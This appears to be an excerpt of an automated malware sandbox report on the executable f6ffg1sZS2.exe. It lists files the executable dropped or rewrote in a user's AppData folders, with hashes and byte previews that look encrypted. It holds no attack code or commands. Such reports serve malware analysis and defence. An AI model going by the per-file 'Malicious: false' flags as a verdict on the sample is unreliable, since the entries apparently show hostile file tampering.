SHA1:	5E8EE0D847AECD42503A4F7C524C727DA41E15C0
SHA-256:	A9E2D5B064D4B9D0F4E900FB846EB5017A40F1C4B97825C3E258E41C82E7AFC4
SHA-512:	7BA59872E94B88DB3919B6F7239458961367F14066F2C454A947B42038AECB6FCC4BA809CCDE22E8F0000601BF6B092818393FB154008179CFB5362B769BFCA6
Malicious:	false
Preview:	...............?mV......(...E.S.nZ~2...l...%.0...5..E........&..[a+....\|...#\.`.+6.$Fn......M..$......D..7.s..V.u{..Y.-w.Ur8f)\b..o...!..G.dh...C......Z....f.Fv.l.x..Z.L>../l.S.h.fE..\....Y.I]...{f3U.3dp#.x.;..5..f..\|.LB..5.Ol...!.......~....Y.....9.L....QCg.XQ...E<..T. ..x.......o..'...T/,O.4.;Z.O..8.B+...r....70N.Rm9..5....tv++.<)..Nb....Y..._...~.]...{.6.4..G.'.... N.jCA6..m...tnL\.T...0ys........u\|f...3.IQ..'.Z..T........6Xz..T..+\|.[...v..(..GK./..u..I..V..'......T.n.g]X[.$t.....;..K&N..Ju.}<......N5.3...L...m..0......E.%db....!.7.p...v,...k..B.R.F.J 2..j.6z..=..f.a.2.T........W..dtq9.}....0H#..)~R.......].~........ol.....2.i?....../.....?.......+!'\|....+.......bZ.ETI..%...q..N*.0.(..mc.5..!~...P".D.U....\N..W......<-^....."j..um..JT;PE]]..p.L7]..dDpj]...%B+..N.@.D.<.f.....O..0...-.S.SD..w.....7.'.}.....b......\...=<.;h.."...L.5..I...9=.hn.i..~..]M.+v..v.D.<..;3A!....`...B.zH.{...Q.q.:.G..A]K...g....<.\|&.....]P....j.kl.^ (u/S.gC.V...U)~9.z

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.261135968878712
Encrypted:	false
SSDEEP:	6144:ik9RYtxiCkqFH3lNIscAIlO8BRroJle+Vi0j:i2sICkqFXlNbpIlnBR8BH
MD5:	0C7D5F19240CC406DC35CEA246A35187
SHA1:	3C63D50AE24278330E71729B236A24B1CAC2EB6E
SHA-256:	DBA79A4F684D9F50A552E2D79011DEACAE6F8C8E225E8B4F5AC535B7924B79F2
SHA-512:	12686321F851F12E18F4D278F621930D86A146704AEE31BE2BC4F1B5E9597DE1B56FB170D749C765DAD50E307B236A047F264F8A3E42C7CF1AB09F386F192D6D
Malicious:	false
Preview:	.......P..Go'...w.,U.......ZG..B..26...?."~..4.#N.[fu.;...Ea...S..z..1..K....N..4....7....nq.i.xs..J...'...2._..lDX.7..O..\.@.VK.m#..........O..M.3....o.S.{...........uT...x<M.Dj...\|..m..Cy(Z.9..i.a.Z.......].&...w.b..{.K.U...l.V..9J.V..g.K.}..\....<.5}c../.pL#g........E7,!D.Y...Ss-:.4.=Ctc...........S...<.o.D..Z.Q..........E..g.@c.Y.u..,%..\|Y..I.\|..<A,...U.Y....rn.N,......Ct..U.}X.~.#.Y..2.B'@..L..3.yJZ..?.Z.G.v/.6....5sy.<\..^._....9L.-....;9..T.G&\..m..S...1.<.....X..F$;...y.Y.~.NI....v.:.e...7.Xi.LZ.T...x....V%..9.......L{...W.8...w...Dz...J.l.s..1.!ql...c..].........6.....K{.....w.3.L.u.y...nvd...\|U..sR.....+NO.aX+.%_..GZ.;..MkO`/..Fj.+.^..{y...!......".......~.I.w...+..J.+..yC..Y....=X.A.4....e`.0a.].v..~2...suW...W\|b..8....'.}..DE.%u\....>..'...[.Hb..Y...q.h..Tpi!_k.c./..!.a..D.Qwp..Rx.(^..../<..(.A....\..4...=...\|t.9B...4.`.....xMw0H?.1.I.I.@E.VI_...[.i...w....Y.v.f.+xuG;.{D...2..^#.I.mN.E.>U..M..X..,.1..@..!L...].M]B.<t..a

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.233777301960625
Encrypted:	false
SSDEEP:	6144:QvZfqNradgt7CADP5tb53v1WQOa/dKF2At:oseaJCADxZ53vfKVt
MD5:	934D29D6D0C43734CE7D6582A261D509
SHA1:	53345B9366FAC571B59A26AF4B7ECB4B4CB17074
SHA-256:	28C31F560B971598B31ED0FA169B4373F308EAE0F2860C9F32299AE17E9E9B52
SHA-512:	112716515BF42DD8AE9C86E358E9C9A84FDBDF439FEDD86CB3E8709F587EC850341D706C9382CA103B647E40450AFF77A78EA444345C331CD1206A3B1C78177D
Malicious:	false
Preview:	......I......s.....T.S...t:.........2..;.F.....(..\|..s.G.d.H+W0.7t^...X..8..:.....&.Ea.UmI%.c...?N.A!.?......c..g.\<..G...(..........G.....^..h._c.o~..7i..Z...nOd....[Z..e.$.[i.).U...uS......I.C>..{.s$.:.......=v>.6..E..gq...F....!.....qS.G.8.?BE)....p.5.U...g.{.oskvS>...B....:{.S.&.....D/..O...I. ...I.v..1......:..9A;...f7i...yt.e.e...Xri.p7.^...ds....S.=..O..d...RLU....-...OQG....\...p..j....k.....r..8u7...D[MH!y.....Mn!.D9..0....o(A.A.o..x+..79m....'.Ie.X.3..`..I....Xh4...3V.\|...7N..sk<..lG(Ec.......{x...'.....?..!.......3v(1.Q...Jg.....9{>?h........+...0..3u:.K..`.w?%w..<B\.b.G....]6.b../......~...v.OW.Ff2v..\N...E.L..yx..}.y.<..q...6..hAd1.=.nbo...8.Id....p..rG..V....GGP.).Y.T...E...bG%.Evi..b.Jsl..M.J.\sK..Xk..,i...\|>.t.\|...6V.....$ .r%:..0.lO.x.]....b..[....1d.B.y.}.....o,..y...cG...4.[.%{........P...p.w..Rw.....k.'..O.p0G....6A.aY?..3.........qc.q.C<HF..5..L..v}..-.O .+0 .3.6...$'....)yq;\|Z...F..bM.c-M...9.4......T...j}n

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.264953817897792
Encrypted:	false
SSDEEP:	3072:xS7t4H3o4Hz3TeOUexUbPfiVcZtguGZNdzLuxt/76hCnecDBblM:MiHT3TxUeijfiMtgfZNdzLuXOw1DB5M
MD5:	E99711CC7EDE18A253F553A2C2620D9F
SHA1:	2CCA522F3E6E4CE607308421F1F515EB9659240C
SHA-256:	61EC64F1737933225EB2383110853FFD9C91F55421197750CEB7C9B53631EB02
SHA-512:	0D8D360B0348E16078C8EB61807B2A743E0A1BD7F7B452D1A42836DF0BFBC4C99089A0464AE50644501FE2FC1F18437646BA6DAE0DC2DB6740A1357FD86F2912
Malicious:	false
Preview:	..........;.$.....R...E..1../~...\..b..l....P.f..?..9K3f!.n....;.)p.]~.[....4......P..^.....[......i.@.%?.2..>. .^..-j....F.3KEtR.....BW.oYy-.Ld...c...0M.2m...Ou..j..BB.p....B....-.r.....^r...ZZ&..G.%2...'...=..brVn.KNlG..G....`.,.G9.I...._.9.l5..<..RStuw+........xI...f...K.3.b\|.23.P/.....Vj.;OSf..Qa...0.Xd...h.?.....(...~.gBwr..1......5...<w.t.9....s1k.%.....}...d..4.9.8..M.[.C...qH5p.DV..-...z..@3.-...J2K..q...7..9..w.L..@.....]..lB...%.x.;....r..._Ri.=PH\o..FNS.p.8_...X....1...v..._R_P.Q...@.......O.;....I..~.f._P..Q..".T.I..W.f..C..T..x...n'..I.........6_q83.P.N..2)5....(+.7.~P1.}Z...-..Q.v....V.H.17W.$.r,.. ....\}..E.2......r...`G>..p-.:4.......-.$..K..C.&<....._8..#...i^..8....".`....^.n.@v....'..._....:F...r.o. ...r.w 5....W4S.{.4A..7.d..A....xX........(b. i..;3..H.W]...e....^7. .]5........Y...jS.z0f?...m.O...^..Jv...'L.a.....c....Iy......k..c<.%.J.(..~..<>..2G.n..........[.n.}R[.(...7.r.Q...8+..v..j5.......@..T@...6. ....\|

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975714432839818
Encrypted:	false
SSDEEP:	192:87FfTkimoEt/gxuPe7TBEI+xv+hUGRM3ffP8KZcRmEjm:87FrXmoUMuPe7SaUGRM3ffP868m
MD5:	644DB958E89997DE940E399B68B002F3
SHA1:	840F21BCF518B063A98709124F11AD5E02514D19
SHA-256:	D30A58529FA67969AF637166B9477143C8B0383D98416AE4C35A45A281A3F387
SHA-512:	D7BE22B70D7A195449D9A4F3B482F5F55028F6F8D5117D438A5EBC9CCFA5DEE26C867758F011A563E1956CF1DFC6095C0EF24783A03240FA3691CE2162CEC8F7
Malicious:	false
Preview:	A......3........X....u-_...........`.....x}..@.....2@I;.I..l...r....{.X..%...x..n.4 h.TL0.$..?5...<$..{.../......`3...n..u..T(L8QN...j.....~%^!.......^....j.c..Ie.F."\|m....o.+.ET........<r...T..[?q..3.z+.m......G...Hm.x.\.....X:.p.OM...:1R.3WW.z\..Q..#.w..5...UZl..6..~X.N,..Q....pE....p..<.!q...z....?....Z..:{.c...(.`.m....;..}.O.Yt.......\|.5!....._9Fb.H.~.G.....v>(.`e.........-'9...Ny1.]..YP......\|..z.>.'..k.t..^2.jP.?q........3x.X..\|...G<.fe.(.8e.+.E.=\.d...?.......Hv..0.L......t#...</.....1.%[6..v.U..Pw=.v.._1..o.7AE. ..I.O..bb.....'V..Dp.B8.......h......eY!..e8.6.$D'.i6.O..D..=...^......Tb..".<yL.+...#.Dl...>.SrK/'.u84.m.s.<]h....CR.d.t...[ ....'.V..cA..<9..,..?...)x..p...2{...<.,K.....(.....^X...5^.Wc....N..u3S..{.1j.......9..!HD:........_.@..=_..o.d...h.U....xb......W_.m.k}v..0....rO.. f.i.....k..>......'.Qf...S_..%.t<W..o.^..e&...9<.T.......&p.u....0.$.:u_..r....7G./o....J.h.../...<.....elB...5m.....c&/}...1..~..R...D...k2}..",r

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010445495443673
Encrypted:	false
SSDEEP:	3072:xN4aVQPhQeZBNT2bXvLCvMzjH9rJaBTnIcLDNOT7VRPDkSSnLRrR7tcIN8YymxWn:xmayJQ2BNT2zvjqTRHBW
MD5:	19B285D5032CA591198DB51493517F75
SHA1:	46B7B5314EC1625718D039EDD24EFD0682AC47CC
SHA-256:	576CFA5F9A08B0BEAEA7731935C7584A770FE7870524506E696E3DF655A68666
SHA-512:	725BE2E1DFECFF14A03D457CF29B0E98A3C38EE51618D8AC257D22F91FAF5E12C5AA7CEBB8B5941062EF7123C7CCB74ADAFA23E23D3A86A25ACE93A0DE0E440E
Malicious:	false
Preview:	....aw.@.k...{..x.........M..:...5,.L..D.k......fJp.3..V.v2.C...Q...(...;...SD..u.(.(..4XR......;qX.o}.j+.......#.:...E@b...R.L..};~.>%..[.Y........s.H....Ht>..WMcMr.X...v...)4A4...M....+..3....$.T-...\|.(..@.....?...T."^........)..lkW...<4]../.J...n......&..#..I?[.l...Io.r..N...Q.M..R.%.C..........J^v..............>..B6......m/$..].....&..$A.H...4w'L../....'wN........WZ\|tC.V.'G...........A4a....1`.I.r...9.0+RC..z...O..A.9R.\.%\........../..u.W..4C.`.J.t.4Udx%..C.\.......X...Z"./.p...pQG.h...M{\| ...=....p..I......U..H...)...H..h.M8..cd....x...,..19.....X.6IK%..O1....^...oe`.@.O.~. ...\..)...Y...3.!&...,....jZG...N.3...Jol..%.A:.6x..x8<..P....q.pU...f..y.y....k/..z....c.#.m+.o.`T....??}y.S.8h..G.....Q.b.v.gt#..0s...?h..k.......^..-J..9..M....M.<.o5..%..S..)y..oF.\|........2.m..z.0.)>.....V.]t].}.V.F.CY.`.#..Yh.6...5...M@...9'.1.n....$.6F...m!@.~UPEMc..K...........D....}.I.:......... ;w....y.l.2...1C.p5../B...9:.K.I!...E..U.l........E.#

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208182130972315
Encrypted:	false
SSDEEP:	3072:X1tXR427j9ViEF4IQkyBswlq/fcvZgnlNavIoR3UtV7WSjbkb:XaUVZFMswlDZ4lpw3UtVy6A
MD5:	A6616305BCC6BD77D547BC6EFE17664A
SHA1:	F310139ABF67CF070D17E5FE1BFC923D6990BFA2
SHA-256:	B9F7E14C157562594EB489317D771625E604B0AC2DE604DC16F01F5CBE0E92E7
SHA-512:	A3549811EC8DA2794892FF506EB1D2E0DAC6718B3F928E2D9B520CE07E476BB30F6AA46FD3B7DAD4324A631208173614B15C6F752F6D536A75C29F13EA1FFB9D
Malicious:	false
Preview:	......... ...:...p..>..Z.6'HH.6\|..P1..K+...2/.a.....b..b..C...<....K..!..yf.g.V..v..P......(.W...rz..Y..EZ..Y8.:..Y...].....+..;.G..........v..Q<\|..[3N......;5....]........y....\R1...r.%r!U..9.T.D"{..:..@....ao.1CEQlz$!.^:2....h.6.....fo.^..#........6o......fZ.I...v0.y.......a...px..........S..r+.!1..&.w...r;...X.B.g.h.J. .V.o...-..Q. .Jo......9.Ek...</.5%....F.^Q$e7..m...c.Ns.c.....D..#..S%.7%.P.E..,..@!8.b%Q.9...V.x.+..9c......M...aj.%Z......(iR^y[.y3v. ....g..5/<n.i .....x.TY._.,.y.R..(i..@.......AD..G..@..!9...=c.A.....R!JG...B.:f.5..S..\|5....+._.$...I...........c8B.)-.U.2.9".8...`H..M...P...(..y......!..k.....H..q>..V".y.%..k".[.....$.=.#.....c...xef..G...Ns..`.f... ...4..al........L.....vM...z\T..). .?...x..o.).Q..Lm..7..y3c2.f.GBcS.L.Y.-D..a.].J.8<...%.X..C(....$~VG.;;Zx..w.).l'.4X>...:.?........=.-F.D..$....`'YZV;..8GLX2......O..?]Z...Pm..(........hgW...........e......"s.J.F.:.}N%~\7.".7U.<..z......Z.M....../@....t..u.P.(7-

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079958595403717
Encrypted:	false
SSDEEP:	3072:ay/PEfddToMCuRB6na5cATgffV57qvNZyA9I4SVPgQ78Q5g59:ay/sFB5RYFv7qvNsAfBQwQ5a
MD5:	E760121B5F8DA4325CF091CBEF7D6142
SHA1:	1DD9B18B449CD28576FA097761C09A7823972D66
SHA-256:	8B1D7063DC50B874544710C0247D831224FB60CEB30735EC49DDCA84F93FA21E
SHA-512:	6AD0014FDC324B2821A26283865606E7D8393126ACE6E39FBDD7B74709291AAA20E4C979D06C995750B7B4555770F757382774DE9A8885148D886AE6A581ED2A
Malicious:	false
Preview:	......!..C.....a(j;e..YEn.O...<..A7..{.'.u.U.]J..7._?.]....U...,..b.../$W..S..0G..E.q.y6...fO.w.4.V.....?I..N.s5"O.8.).k....."..[.N.P...c.Y.P.D..-..H..1.B~.>d..1...'.H..\.......S+h..N:....X.XX..I$mqek>..L.Tj.h..6r..b..}.e..:q...Mk.,..\9..1.'..C(..%......<..[."J...\|.K.E...Zy+...H...U....`..9;.......#i>..eI..ev.1?.[0.o..C.3.L...sJ.........S..@~...jV.1&.VApxu(i:TKK..#>"......L.Wxx-G!Ie....b....p..;...$.Ijy.!..DK..k}...Y...X..K.vJ.[!...x.~..PFX....U.js...D'%...zd..!7)..O`..Uks.rq^:D..`;..u.o.J.......sd->%...?0......5X.$..........SQE(..fq/.`...J9-UKn..2...a...A....xD....%..8>S.%...N....,..L.+p1W.?....v.R.<e..I.@...J.~[.B.j.S.J.7. .....=.2.../.:..F...../.w..#..&}K-.8(0f.$.+.L.1."w.....r...\.Sn..l.....l..98....nTi........2O ....Sz\|&.Y...e..k......%.....AG#aw....u..HD...i..........M....9......6l...Ti.O........V..#.Tp....L..'.,9.V....W.Tf...L..w..T.....a8..k?.fT.(...2.U./..<>/[.K3.....MA..1..[K...p.)..q..L.$.;..35.g......l..h..8.^5w..v>..;+nt

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207340756766185
Encrypted:	false
SSDEEP:	3072:yHCvVHShwuH3O1ZNPyFprJ/cc3hQ/udGo/QWu6/Vb9O/L:yivVHoB+zNP+prJ/cqhf4o//v/3KL
MD5:	0D9AE06ECD8D6A808CDEDFDCDA66D7E0
SHA1:	04E7B13BBCB77BAD244FDE84A8C35DE9DCD375D9
SHA-256:	8BA6DD77BE91032A3FC9749F96876E5D90B07AA58C59DEEF72CEBBC5B972F961
SHA-512:	F60B1FB9832C3CD3CE1728AC6F2AA25B723DF10BE54C557CE5B66B83E3FFF983E9D35359CF863025C22B1A16664DD01A98EDDB9757DF2F697E841434E19191FA
Malicious:	false
Preview:	......eN...WS"h.]ya..g.....t.q...(.)9Q__.,.o~S.G.f...9..A.....t......ML bNv..g._(..a..n.2..9F..J.d...).O..h....'S...B.....>.....A.......Y...5..+..0>.us.......s...(..w.......f....nM.c...5.....MK.Wq.X...p...>..MP.s_.{....sO..P.-?.'.rU.\|..U.S........q#.@:~....s...=.......N2w......B..J)d..yjw.N..6.fu.[...v...R..5.vr.<.9......G....;..5.Z..8..q.....\\........?..."...<.."R.r8.-..ue.....J.O..r.....zo...K..;.rKcj.D.obj.sS..g.A.F#.....M16..\|i.]W..r..\|5.0.qzI....=Uq..9..?,../X4..6,Q....}.3].=yd.Y.......rZ..B.2.'..0...m.J.ukK)rGB.........TP......n>..an...8....R..f.4O.qDI..Y.A+.........K..m.Y5...O...".f.+....VT.V.-.+Q7...1?....V&..2E..`<;nD ....Y.9.q..Y..n......]..H...9e.v......8.q.36.....K.A_%....ir.N..`b..s..o..:....yI..).'..;...Z..:E%...I.'m.4.Rr\|...._.....<Q0.OZ..M.,(..vD..9.....z-.W/.Xp.Zox.Zr.-.S...K..t[.4RD...b~1....n._.~.......w.8+.%...........s.Y....X<...I..GS...>&...n..`.V..Ef.z.HN.a..pD.J.}...))L..Ik..,.T...F.....E..G..Am...[.5...8.C..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.944581976389828
Encrypted:	false
SSDEEP:	96:VyYaW2Rnec2/I+LDDjRIkehSi4NnzWNJ0we/:1aFRnNkH5IkLWv0P
MD5:	6D6FADE6D629727D65B9A035B0D005AD
SHA1:	4DD25606B8257C963FA3D8F40C2240A308B14E11
SHA-256:	C8A077DE70E8F550EDF09C43CA92925D7D8B31AAE32E69656D3410EF0C0E80BC
SHA-512:	727BA4A51534453A1D66DC9764A8864ABC3AA7399E3369DCAF43F7F9C010831825AB2DB68329BD8CC9D4CF0808D4850FC7EF0978BD94452ECACAE72519C7DFE1
Malicious:	false
Preview:	<?xml......l...3.sK..\1%.lpx.c.w.k...m. \.U.iN.a...8V.....h;..r=qD&x..\.(?..%e]U}..:=..K.....,...V.i..T!..\|g\|yg.........'H....:/8.d.x{...WM.S....ZL.t.W.W%s....AV]...M.......(.z..z.v^G.>q.._W......i.]=..{1..^&7...>.....aG?..N.Sq.......^....)..k.E..3...L.C..t.E&..D\|.O\|#1.5Ne`.,.`..-...?......'.Yj>..`.b..u3{.(%/u<...$.E.C;..w._.\|.q....ED3..}.q.w..E\|...Bn...Zk$.....`XR...v.....dkB)C"....+..Y.S.....-......E.~.y.......I......G.m;...........y...P........\|JzP......^~....`W.c..=..l]%.._%......;).....0^.Qz..............k.T-.X-....%]...C..=.M$I.i.9.Z..Kp#v.2?K.Y._P...{#{..Q.&.Y....)...z@N.@]@Y...dl+......!..h.....~..S.K.9.o \..m4+~..)a]F.v..I_.X..Yk...G....C...p..I'......j^l.x.....B.G.0d.../....\....7.&G..(...XO6.dk..j.L.hOO.wh..WD....r.._...y.....W.f~..2$O..Z...\...n.quUi./.zQ...HT.. ..kiWyZz...t.. ...V..`e.=.'..)j.z....:..yD}.k..k..Y/.E..^Y.a.%..o.(-..r..3..D.D....p....S...y.5B;6K.....n.B......=y[x..'.....R.;qw/..TB_...1.....z%.7*Q..z.[...A..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.969524609944405
Encrypted:	false
SSDEEP:	192:U+7BfG6tKuOPsoI4qZMM11BvenuRKrxe2aqFrTD:U+k6EP7qqM9mnuRKTa0
MD5:	87645CABE3C07E10E9D667A783B6BECC
SHA1:	FEBE99BDC5BE1A02189297A9D2C3D5EEB294D8BE
SHA-256:	E08D3D036DF1577057C57164F730A84E95E9D4BC981433E3DFB8D9D47831595E
SHA-512:	F792F212DFC9BCB8BA7909528EDC1831FD961377D9EDF458BBAC76FF477FD30A65A631B512756D580813880B8E7EC09020952B8EAE90B838B5502820B201E77A
Malicious:	false
Preview:	10/03-..\|.......Nn_g......j...6.......[..Nm.&.f7.'.1".~.7.....$e.K..n1..P...J.9D/\..a....1.N.\|Q..zWY..m__T.1N;.....N3\|.)..l....M.....`y.r...D...!a....0eKL#..S....p....&\|FT..._0\.c.R.M.....\|y.s.xXY..A\|'3....iq.R.....P..t......V.<(.../........qh.......d%e....W....%.X Y...]...3H.......Q;.!.c^.#.......r....Ei...e...OJX..5dx.....i.Y.,.^...2{.@.k..e..J..4.\...\..Hb.@ ...V.Z@.......A.E2o........Q..D.4L9)..1.+1.T..r.{'?.]U$?..P=....h.<....q."....XDd-{.....NeQ.j.N..r.7.=......w.%..n..M.9......~.(..........H:...u\|\T..g..L......SW.......((....H.....Fu>..8.<.....Qeaa..uO.>....n....[..mM..................GXS.0hi...E0....$8.\z<..2gL(f..>6!}...j.cd..6.hx....7.+f..-[...`;A .O.~y..#R.....'.....EO.......1.{&.Bu.-.. ..[b..H...O...4i..a......".m.ka.x.>g.U cz.j.wF.y.v.q..=.H.\....].<r.;.dyA..M.>o0...;=..X ........5w.z-7....X].H.....d3.%.....o..[J...Bo...."...I.5(..o...@.........x.w...m].9.H.t>._g...B..x<...o...-.T....zn...?V. o.....u..f./5........p

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.746725575121778
Encrypted:	false
SSDEEP:	12:QYfDGI+8TIkZRTu4pWqdEtV2Jq1EOezdLy25Mm3CmlonSl6WZptJrPmeZdcD7FaI:QJdFeRFpvCt0k1ENNMo6WHtJbmJRbD
MD5:	8B0D54F4207BDBB94B9647415B2D2CF5
SHA1:	724946EB358C57F1BFE8D3E21B8D4794E616C58A
SHA-256:	881A89ED0863F56F2CD621ECF3C9BAC559ACCB6F8DAF1B20711259EDDA0BB560
SHA-512:	6687C0E184BDFC74EFFA5AE7CC6F825885FFC86A707DA87DABA9BDCA4F85A633C75535A17F7744C9114CB44AFF4E0DC3C190DD6D2CA66EEF9E58A9DB21191BE5
Malicious:	false
Preview:	..1.0P.%...<d..........I.o..r..={.`?B..8...OW...S..{x....UY..y..z.;:....n...B.=.r....{..u}.4..\c..x....}......=y....n.d.V.R.?.a.....D.f.A.M...Tt.'...jK..d..'../X.Fd;Q.......4.w.V.....).....N..;j..Y.<F..n!..YYW.NN.I.W...o.0lgY.....6D..T..8...z.\|%.....x..KFL`9...Asi..BjD....z.....tC.......%.u..6.!.H...,.2.2.%#.r....d,...X.....J.).M..ao.)....q.....`.'$+....._..w..rM.S....e...s....%......jdt$3...r,..~.)...dd.$.....s.{.e..........f..s..../.bC..o..hf._J....E.V.i..&[....!.u..K......T..A.....I ......g....D.1.......#.!p..3.Qk..p..Nw....dR...,*...n Z..c....:4.......\Ozb....b..f.ou..)...].0....O.....,.CBZ.)..?'.(..7...xt]:....^:..RA..= ..oFxe....A...?.....C...\..`6.1..\|..]@i..+.c..;....r.{.t.03.~..QE....@.{z....p...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.874602413009776
Encrypted:	false
SSDEEP:	48:vxm2GHQ3G7wGA4LGycOIlcLMDWJ7ggmhyRlD:7GHQUwZyc7cwWgpyH
MD5:	9489EBBBAC7501613478528EF4287E52
SHA1:	0DECAB604A128DAC0914563E73D283E75BDDD2E0
SHA-256:	27EF5981BFB0554983428600D243B306499C90283DDA10034B46066B2A3F6952
SHA-512:	E329E83DFE37710CAC34E072A02910C108A206D302B1D031352461347EF605618A98CD48B4606906AE38E8CE1BED85F33BA926EC1121F2115D2DCE64DE1ADE44
Malicious:	false
Preview:	..1.0...rl.......~X..;.v...cf.....nu.O...,\.h......a..<......S....t.(....J.U.....s=v.4..mD%.^Z.=...v..h..19<.@r./.@d....p~....j&H....f.[.......t.Co.wz&{./......3..s#...`...Y...~8..........D1X..L... ...`..B..W.\|}.....4.W@......(.{7......e:~nz."..z...{..u-wf...N...h<oG..4W..p.m.0`%.W......E.v_I}d57..yF.\|...T.$`0...g.z............-4...Y...A.8bi....^...{$...U.T...\|......G-Q.k0dJ...6.....S.:.=.Gqj..m#Iq#...qe.......>8......URr)..Q.....t3.......^...l...>..vfIj.e./....D.yv2.....8........H...P.)..s.5.L.2h.z.7M.%.(...>........f....}7...h.a.(.(.-].....g$IX.l...u...I..Q..G.....U..8.....}..t.b....Y`o0L.5B......0..8.......f....+.$..../\.xB2M...b:..J.9...@..#k..+u......S.kjw....s\|..F..-....jv......i.hMY..AD..9-.C.t1+G...W.L....2u.D..\..9.N..5-..._.-..;G".D.<..Uu......*7.)......s(Y.....P....p"T..n.<py.-p...r............x...:..zl.E.{5.K...!....e.hq.;r.,.a%.d..!.Ag.j.\|0..j$.H..I..W.6k..<!..t..oj .m......Q}%T.....,.\|...#..m...3.W......sT.B.....%.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.85356051714939
Encrypted:	false
SSDEEP:	24:xW6FKtpFamuDPth8ys63Q0kssN0mgM6UCemRhZZpW5OZEqeTybD:xytpFTeh8ys63Q0kss0Q6UwrppWqFD
MD5:	8EFE2AF75539B763DCA46315F35CE476
SHA1:	F79BE1A8C29D6263C09728FD64E99F9DBA13C130
SHA-256:	C9F46A7FA1CF7EEFB1BEB609F9BD37D5D2417B7C9EFE1E6EECA902C6D598D512
SHA-512:	43009BB662C90A68B4D4ACD30CF6F2E17CFAF7E370E2D58744DE8B777752A674B57052ECF037A0DAEEDBFFFEEB70D8443CFF0994F4D6CA7601CF10679AF7BF6C
Malicious:	false
Preview:	<?wpl.......\|....j.6..~c.3..=.4R.ld..1.9f.:5..g).c.?.n..f..b#(..qt.J..F...&4f..:...j5...~..8.i....e.G.. ...8...=.#6...#.8F\|.?F.....a...U?+@.v..-v...M....K...{.h...T.+8@uP.J.....?"6...."....O.....%.Q4.Z............B.=.....+]WC...0.G,zLL@`...0.<..0?.E..4.g.."....g.9n..!.J'H.6.....Z.....).tE3.....W.V..b.....[.9y.j..R.9K^....ejK...T.~.k..F.-.'.v.'...N'.bF}.)SaI..1.S..L...HqoEG2.6t.0..W;.X.W..\[=.jk.I.'z{9.....I4V..v0...`.y.... ...R.r._]Q.....+..(.A..w..>cT_...";.7...cf.c..}...K..M]fx.....%...2H...9.'...}.n..?.K.^..;.}vgKF..E.5vhBD.. ".2-.].5tAq.1h#..."...a.c..\|.D..!.u.\.R....U.SV.W...^..,....Q..a.Z.+.(}.j.g...P.)..<.v..n..'..1.zM....S..P.y. B....^.D....?..\|.{Z.WN.....F)..#...t.sI8o......1.}.M.iP..w.,.l\.Y3.a.77.t......y.............9...+....\.d.~...-...5.............J\|nW$E...m...g!.C..qNy...go....L..O.).o....CO...$).V..P..T.4.=..@X.G....h.0vq..,...qi.6%..D..l..:......*..._...._.T.`.L.&....}.~.<.f].Gw.l..D..7.....:....eI)..1..7p..N..k

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.874685409199839
Encrypted:	false
SSDEEP:	48:u9vb232CXUluV9lc/Qm0eqUXLcfcdecNPHrr2hvSnZUQe6D:upVdl0i4mZxXLcf6TJGSF
MD5:	EF282E6FA915EACC9A9B6CFAD558F4AE
